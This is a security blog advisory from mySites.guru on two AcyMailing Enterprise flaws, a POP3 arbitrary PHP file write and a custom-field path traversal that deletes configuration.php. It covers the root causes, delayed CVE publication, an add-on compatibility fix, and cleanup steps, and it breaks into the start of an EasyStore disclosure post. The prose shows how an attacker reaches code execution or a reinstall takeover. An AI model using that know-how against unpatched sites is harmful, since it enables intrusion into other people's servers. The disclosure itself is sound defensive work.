&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt;Arbitrary file write through mailbox actions (POP3 mode)&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Anyone able to email a mailbox that AcyMailing monitors over POP3 could have a file of any type, PHP included, saved into media/com_acym/upload/, inside the web root.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Needs POP3 without IMAP&lt;/span&gt;&lt;span&gt;Enterprise feature&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.acymailing.com/main-pages/bounces/mailbox-actions&quot;&gt;Mailbox actions&lt;/a&gt; are an Enterprise feature that connects to a mailbox and acts on what arrives: forward a message to an address or a list, subscribe the sender, unsubscribe the sender. They share the connection settings used for &lt;a href=&quot;https://docs.acymailing.com/setup/configuration/bounce-handling&quot;&gt;bounce handling&lt;/a&gt;, where the connection method can be IMAP, POP3, or “POP3 without IMAP extension”. The last is for hosts where PHP’s IMAP extension is not installed, and AcyMailing then parses mail with a bundled PEAR POP3 library instead.&lt;/p&gt;
&lt;p&gt;That fallback parser is where the flaw was. Its test for “is this MIME part an image” compared the result of &lt;code&gt;preg_match()&lt;/code&gt; with &lt;code&gt;!== false&lt;/code&gt;. &lt;code&gt;preg_match()&lt;/code&gt; returns 1 or 0, and &lt;code&gt;false&lt;/code&gt; only on an error, so the test was true for every part, and every named part went down the image branch. That branch cleaned up the name before the dot but kept the extension, and never checked it against AcyMailing’s allowed file types. A part named &lt;code&gt;x.php&lt;/code&gt; was written to disk as &lt;code&gt;x.php&lt;/code&gt;, in &lt;code&gt;media/com_acym/upload/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The attachment path runs when the Forward action decodes a message, and an inline path needed nothing more than a Content-ID header, so the only thing an attacker needed was the mailbox’s email address. A mailbox set up to receive email and act on it is rarely a secret: it is usually a published list, reply or contact address. The IMAP code path already checked extensions, which is why the vendor calls this “a very specific scenario”. Specific it is, and on a site that meets it, the result is someone else’s code running on your server.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor&apos;s own code runs on your server, with the same access as the website itself: reading, changing or deleting any file it can touch, planting a backdoor that survives the next update, installing malware, pulling every database credential and API key from your configuration, and using your server to attack other people. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Whether a PHP file in that folder executes depends on the server. Some hosts and hardening extensions block PHP in media folders, and many do not. We have written about &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;why an .htaccess rule will not save a Joomla site on its own&lt;/a&gt;, and a file-write flaw is a good example: the rule only helps if it exists, applies to that folder, and the server honours it.&lt;/p&gt;
&lt;p&gt;AcyMailing 11.1.0 changes the comparison to &lt;code&gt;=== 1&lt;/code&gt;, checks the allowed-extensions list on both the attachment and inline paths, and adds a new check that rejects PHP, HTML, Perl, Python, JSP and similar extensions whatever the allowed list says.&lt;/p&gt;
&lt;h3&gt;File-type custom fields let a subscriber delete files&lt;/h3&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt;Arbitrary file deletion through file-type custom fields&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A subscriber could store a path in a file-type custom field and have AcyMailing delete that file when the field was cleared, including files outside the upload folder such as configuration.php.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Subscription form&lt;/span&gt;&lt;span&gt;Needs a file custom field&lt;/span&gt;&lt;span&gt;Enterprise feature&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.acymailing.com/main-pages/custom-fields/create-custom-field&quot;&gt;Custom fields&lt;/a&gt; let an Enterprise site collect extra data on its subscription and profile forms, and one of the field types is File. In 11.0.5 and earlier, a file field accepted any string as its value, whether or not an upload had happened, so a subscriber submitting a normal subscription or profile form could set it to a relative path that climbed out of the upload folder.&lt;/p&gt;
&lt;p&gt;When that field was later saved empty, AcyMailing deleted the old file. It built the path from the per-user upload folder plus the stored value, and the path helper it used only tidies up slashes, so &lt;code&gt;../&lt;/code&gt; segments passed straight through to a plain PHP &lt;code&gt;unlink()&lt;/code&gt;. The upload side had a smaller problem too: the stored name came from the raw uploaded filename, not its &lt;code&gt;basename()&lt;/code&gt;. One thing we have not confirmed is whether an anonymous visitor can send the second request, the one that clears the field, against their own subscriber record, or whether that needs the profile link AcyMailing emails to subscribers. Either way, no site login is involved.&lt;/p&gt;
&lt;p&gt;On Joomla the obvious target is &lt;code&gt;configuration.php&lt;/code&gt;, and what deleting it does is often overstated. Joomla checks for the file on every request. If it is missing and the &lt;code&gt;/installation/&lt;/code&gt; folder is still on disk, Joomla sends visitors to the installer, and whoever completes it controls the site. If &lt;code&gt;/installation/&lt;/code&gt; was removed after setup, as it normally is, Joomla prints “No configuration file found and no installation code available. Exiting…” and the site is down until someone restores the file. So the reliable outcome is an outage, and a takeover on any site that kept its installation folder. On WordPress the equivalent file is &lt;code&gt;wp-config.php&lt;/code&gt;, and deleting it reopens the setup wizard on any install, the route we covered in &lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-8713/&quot;&gt;the Avada Builder file deletion post&lt;/a&gt;. AcyMailing Enterprise is sold for both platforms.&lt;/p&gt;
&lt;p&gt;AcyMailing 11.1.0 only lets a file field’s value come from a real upload, runs filenames through &lt;code&gt;basename()&lt;/code&gt; and its own filename validation, and checks that the resolved path is inside the upload directory before both writing and deleting.&lt;/p&gt;
&lt;h2&gt;AcyMailing 11.1.0 went two days without a CVE&lt;/h2&gt;
&lt;p&gt;There was none on release day. We checked the CVE list, NVD, Patchstack, WPScan, CIRCL’s vulnerability lookup and the vendor’s own site and feed on 24 September 2026 and found nothing for either fix. The Joomla CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt; on 26 September. The wordpress.org plugin page and the Joomla Extensions Directory both list 11.1.0, with the same changelog text and no warning.&lt;/p&gt;
&lt;p&gt;These are not our findings: we did not report them, Acyba fixed them itself, and we wrote about them because our customers run AcyMailing and the changelog did not tell them enough to act. On release day we called the missing number paperwork that had not caught up, and two days later it caught up.&lt;/p&gt;
&lt;p&gt;For those two days, every tool that relies on CVE feeds said nothing about either flaw. A WordPress security plugin fed from a vulnerability database had no entry to warn you about, and a scanner matching versions against the CVE list had none either. On WordPress that gap is still open as we write: the vulnerability feed we import has no entry for 11.1.0 yet, because both CVEs were filed against the Joomla extension.&lt;/p&gt;
&lt;h2&gt;AcyMailing 11.1.0 can crash sites with older add-ons&lt;/h2&gt;
&lt;p&gt;Within hours of the release, &lt;a href=&quot;https://x.com/drjjw&quot;&gt;Dr. Jordan Weinstein&lt;/a&gt; &lt;a href=&quot;https://x.com/drjjw/status/2103214040944189881&quot;&gt;reported on X&lt;/a&gt; that updating to 11.1.0 took his site down with a PHP fatal error on PHP 8.4, thrown while AcyMailing loaded its Easy Profile add-on. He also traced the cause and posted the fix.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/acymailing-11-1-0-easy-profile-fatal-error.CZFzBB4-_Z1f7zjJ.webp&quot; alt=&quot;A thread on X. Dr. Jordan Weinstein writes that AcyMailing 11.1 causes a fatal error on PHP 8.4 while loading its Easy Profile add-on, because the add-on methods onAcymDeclareConditions and onAcymDeclareFilters still use the old untyped signatures. He follows up with the corrected declarations for EasyprofileAutomationConditions.php and EasyprofileAutomationFilters.php&quot; loading=&quot;lazy&quot; width=&quot;1204&quot; height=&quot;1194&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Dr. Jordan Weinstein&apos;s report and fix, posted on X on 24 September 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;We checked his diagnosis against the public source. In 11.0.5 the &lt;code&gt;AcymPlugin&lt;/code&gt; base class that every AcyMailing add-on extends did not declare &lt;code&gt;onAcymDeclareConditions()&lt;/code&gt; or &lt;code&gt;onAcymDeclareFilters()&lt;/code&gt; at all. In 11.1.0 it declares both, along with &lt;code&gt;onAcymDeclareActions()&lt;/code&gt;, with a typed signature: &lt;code&gt;(array &amp;amp;$conditions): void&lt;/code&gt; and so on. PHP requires a child class that overrides a method to stay compatible with the parent’s declaration, and a missing &lt;code&gt;: void&lt;/code&gt; return type is not compatible. An add-on still written the old way, &lt;code&gt;onAcymDeclareConditions(&amp;amp;$conditions)&lt;/code&gt; with no types, was fine in 11.0.5 because there was nothing to clash with, and is a fatal error in 11.1.0 as soon as PHP loads the file.&lt;/p&gt;
&lt;p&gt;Jordan saw it with Easy Profile. The same break applies to any AcyMailing add-on, from Acyba or anyone else, that overrides one of those three methods without the new types, so Easy Profile is the one we know about, not necessarily the only one.&lt;/p&gt;
&lt;p&gt;If you hit it, the fix is in the add-on, not in AcyMailing. In &lt;code&gt;EasyprofileAutomationConditions.php&lt;/code&gt; the declaration becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; onAcymDeclareConditions&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt; &amp;amp;&lt;/span&gt;&lt;span&gt;$conditions)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and in &lt;code&gt;EasyprofileAutomationFilters.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; onAcymDeclareFilters&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt; &amp;amp;&lt;/span&gt;&lt;span&gt;$filters)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;filtersFromConditions&lt;/span&gt;&lt;span&gt;($filters);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A hand edit like that is overwritten the next time the add-on updates, so check for a fixed add-on release first, and treat the edit as a stopgap until there is one. If you cannot edit files, disabling the add-on brings the site back. Do not roll AcyMailing back to 11.0.5 to get round it: that reopens both security flaws to fix a compatibility problem.&lt;/p&gt;
&lt;h2&gt;Which of your sites need AcyMailing 11.1.0?&lt;/h2&gt;
&lt;p&gt;This is the question that a changelog one-liner leaves you to answer by hand, and past a handful of sites, answering it by hand is how old versions stay installed for years.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla and WordPress site twice a day. Our Joomla vulnerability database has an entry for AcyMailing below 11.1.0, published the day the release came out, so every connected Joomla site running an older version is flagged on its dashboard and in its audit, and the &lt;a href=&quot;https://mysites.guru/vulnerabilities/acym/&quot;&gt;AcyMailing page of our vulnerability list&lt;/a&gt; shows the rule alongside the earlier ones. We flag every edition, because from outside the site a Starter install and an Enterprise install look the same.&lt;/p&gt;
&lt;p&gt;If you are a subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;AcyMailing extension search&lt;/a&gt; lists every install across your account grouped by version. On WordPress the automatic flag arrives when the vulnerability feed we import catches up, which for 11.1.0 has not happened yet, so use the search to find WordPress installs today. Then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;update them all from one dashboard&lt;/a&gt; instead of one admin panel at a time. If a site shows below 11.1.0 there while its own Joomla administrator says AcyMailing is up to date, &lt;a href=&quot;https://mysites.guru/blog/acymailing-update-site-disappears/&quot;&gt;its AcyMailing update site has probably been deleted&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Finding the sites is one check. Knowing whether anything got in before you updated takes several more. The &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; tells you which sites run a flawed version. The file scanners tell you whether anything arrived before you updated: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, suspect content, and new PHP files in folders that should only hold media. &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerting&lt;/a&gt; tells you when a file changes or an unfamiliar admin logs in. All of it is part of the subscription and runs unattended on every connected site, which beats a checklist of logins per server forever.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/hackedfiles&quot;&gt;Find files that match known hacks&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/hackedfiles&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;If you ran AcyMailing Enterprise below 11.1.0&lt;/h2&gt;
&lt;p&gt;Updating closes both routes. It does not undo anything that already happened, so if you ran Enterprise with either feature enabled, spend ten minutes checking.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mailbox actions in “POP3 without IMAP extension” mode: list the files in &lt;code&gt;media/com_acym/upload/&lt;/code&gt;. Anything that is not an image or a document you recognise, and any file ending in &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt; or &lt;code&gt;.htm&lt;/code&gt;, needs a closer look. Then switch the connection method to IMAP if your host supports it, which the vendor’s own documentation recommends anyway.&lt;/li&gt;
&lt;li&gt;File-type custom fields on a public form: check that &lt;code&gt;configuration.php&lt;/code&gt; is present and unchanged, that &lt;code&gt;/installation/&lt;/code&gt; is not on the server, and that the per-user upload folders hold only files your subscribers uploaded themselves. If you do not need file fields on public forms, remove them.&lt;/li&gt;
&lt;li&gt;Either feature: block PHP execution in &lt;code&gt;media/com_acym/upload/&lt;/code&gt; at the web server level as a second layer, and run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;full site audit&lt;/a&gt; to catch anything that is not where it should be.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find a file you did not put there, treat the site as compromised rather than deleting the one file and moving on. &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Our Joomla hacked-site guide&lt;/a&gt; covers the order of work, and if you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; cleans up a hacked site for a single fixed fee.&lt;/p&gt;
&lt;h2&gt;What we would like from AcyMailing&lt;/h2&gt;
&lt;p&gt;Acyba fixed both flaws, and from our reading of the diff the fixes are the right ones: allow-lists rather than block-lists, a path check on both write and delete, and the broken comparison corrected rather than worked around. The engineering is fine. What is missing is a sentence telling people to act on it.&lt;/p&gt;
&lt;p&gt;A separate Security heading on the changelog, as 10.8.2 had, would do most of the work. Naming the affected versions and the conditions, “sites using mailbox actions over POP3” and “sites with file custom fields on public forms”, would let administrators decide in seconds whether a release is urgent for them. Putting the edition in visible text, not in a tooltip, would help everyone who reads changelogs on a phone. Requesting the CVEs before release, not two days after it, would have put both fixes in front of every scanner from the first morning, at no cost to the vendor. None of that requires publishing how to exploit anything.&lt;/p&gt;
&lt;p&gt;Until then, the safest reading of any AcyMailing changelog is to ignore the headings and the dots and update. If you look after more than a few sites, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; will tell you which ones need it, the morning the release goes out.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-03-13&lt;/strong&gt; AcyMailing 10.8.2 ships under a Vulnerability heading The changelog entry names the affected range, 9.11.0 to 10.8.1, and promises details later. The flaw was reported through Wordfence and became CVE-2026-3614.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; AcyMailing 10.11.1 ships under a Vulnerability heading Our unauthenticated SQL injection, CVE-2026-56292. One line, &apos;Updating is strongly recommended&apos;, but under its own heading. We screenshotted it that afternoon.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; AcyMailing 11.0.5 adds an Enterprise dot to a security line &apos;Security has been improved on image embedding in sent emails&apos; is filed under Bug fixes with the Enterprise-only dot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-11&lt;/strong&gt; CVE-2026-77807 is published against the free WordPress plugin Wordfence records the image-embedding fix as an unauthenticated arbitrary file read, CVSS 3.1 7.5, in the wordpress.org plugin up to 11.0.4. The line with the Enterprise dot described a flaw in the free build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-24&lt;/strong&gt; AcyMailing 11.1.0 ships with two security one-liners under Bug fixes Both have the Enterprise dot. No CVE, no advisory, no blog post. On the same day the 10.11.1 SQL injection line is listed under Bug fixes too, not under the Vulnerability heading it had in July.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-24&lt;/strong&gt; mySites.guru flags every connected Joomla site below 11.1.0 Every AcyMailing install below 11.1.0 is flagged, whatever the edition, because Starter and Enterprise look the same from outside.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; The Joomla CNA publishes CVE-2026-94132 and CVE-2026-94131 The mailbox file write is scored 9.5 Critical and the file deletion 8.3 High, both for every version up to 11.0.5. mySites.guru adds both ids to its AcyMailing rule the same afternoon.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; - the 11.1.0 entry, with the two security lines under Bug fixes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.acymailing.com/main-pages/bounces/mailbox-actions&quot;&gt;AcyMailing mailbox actions documentation&lt;/a&gt; and &lt;a href=&quot;https://docs.acymailing.com/setup/configuration/bounce-handling&quot;&gt;bounce handling configuration&lt;/a&gt; - where the POP3 and IMAP connection methods are set&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.acymailing.com/main-pages/custom-fields/create-custom-field&quot;&gt;AcyMailing custom fields documentation&lt;/a&gt; - the File field type the first fix concerns&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;acyba/acymailing on GitHub&lt;/a&gt; - the public Starter source, tagged up to v11.1.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://x.com/drjjw/status/2103214040944189881&quot;&gt;Dr. Jordan Weinstein&apos;s report of the Easy Profile add-on fatal error&lt;/a&gt; - the 11.1.0 compatibility break, on X&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94132&quot;&gt;CVE-2026-94132&lt;/a&gt; and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94131&quot;&gt;CVE-2026-94131&lt;/a&gt; - the Joomla CNA records for the two 11.1.0 fixes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77807&quot;&gt;CVE-2026-77807&lt;/a&gt; - the 11.0.5 file read, filed against the free WordPress plugin&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty rules for Joomla extension developers handling a security report&lt;/a&gt; - what the Joomla project asks of a security release&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the two weakness classes behind the 11.1.0 fixes&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>acymailing</category><category>acym</category><category>vulnerability</category><category>extensions</category><category>cve</category><enclosure url="https://mysites.guru/img/og/blog/acymailing-11-1-0-security-release.png" length="0" type="image/png"/></item><item><title>EasyStore 3.0.1 Fixes Seven Security Flaws mySites.guru Found in 3.0.0 on Release Day</title><link>https://mysites.guru/blog/easystore-3-security-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/easystore-3-security-disclosure/</guid><description>Before EasyStore 3.0.1, any visitor could pull a Joomla shop customer&apos;s home address and phone number from their email. mySites.guru found it and six more.</description><pubDate>Wed, 23 Sep 2026 11:39:43 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/easystore&quot;&gt;EasyStore&lt;/a&gt; is JoomShaper’s ecommerce extension for Joomla: products, cart, checkout, orders and coupons. JoomShaper released EasyStore 3.0.0 on 10 September 2026, and within hours of it going out we had found seven security flaws in it during a code audit for mySites.guru customers. We reported them privately that day. &lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/easystore&quot;&gt;EasyStore 3.0.1&lt;/a&gt;, released on 23 September, fixes all seven.&lt;/p&gt;
&lt;p&gt;The one that matters most to a shop owner needs no login. EasyStore’s guest checkout could be asked for any guest customer’s saved shipping address by email address, and it answered: name, street address, city, postcode, country and phone number, to anyone.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update EasyStore to &lt;strong&gt;3.0.1&lt;/strong&gt; now. Every version below it is affected, Free and Pro: we reported the flaws against 3.0.0 and the same code is in 2.0.1, so older 2.x shops are exposed too&lt;/li&gt;
&lt;li&gt;The worst needs &lt;strong&gt;no login at all&lt;/strong&gt;: the guest checkout lookup returned a guest customer’s full shipping address and phone number to any visitor who supplied their email address&lt;/li&gt;
&lt;li&gt;Five are in the administrator side: two SQL injections, no CSRF protection across the admin API, a configuration update that rewrote the site’s mail sender with no token check, and an edit permission check that always returned yes&lt;/li&gt;
&lt;li&gt;The seventh affects logged-in customers, whose reviews a hostile page could post because the CSRF check was commented out&lt;/li&gt;
&lt;li&gt;JoomShaper handled this one well, sending us a build to verify before release and shipping 3.0.1 with a Security section listing seven reserved CVE IDs&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected site on an affected version, so you do not have to check each shop by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The seven flaws, and who can reach them&lt;/h2&gt;
&lt;p&gt;Whether a flaw needs a login decides how urgent it is, so here they are grouped that way, worst first.&lt;/p&gt;





















































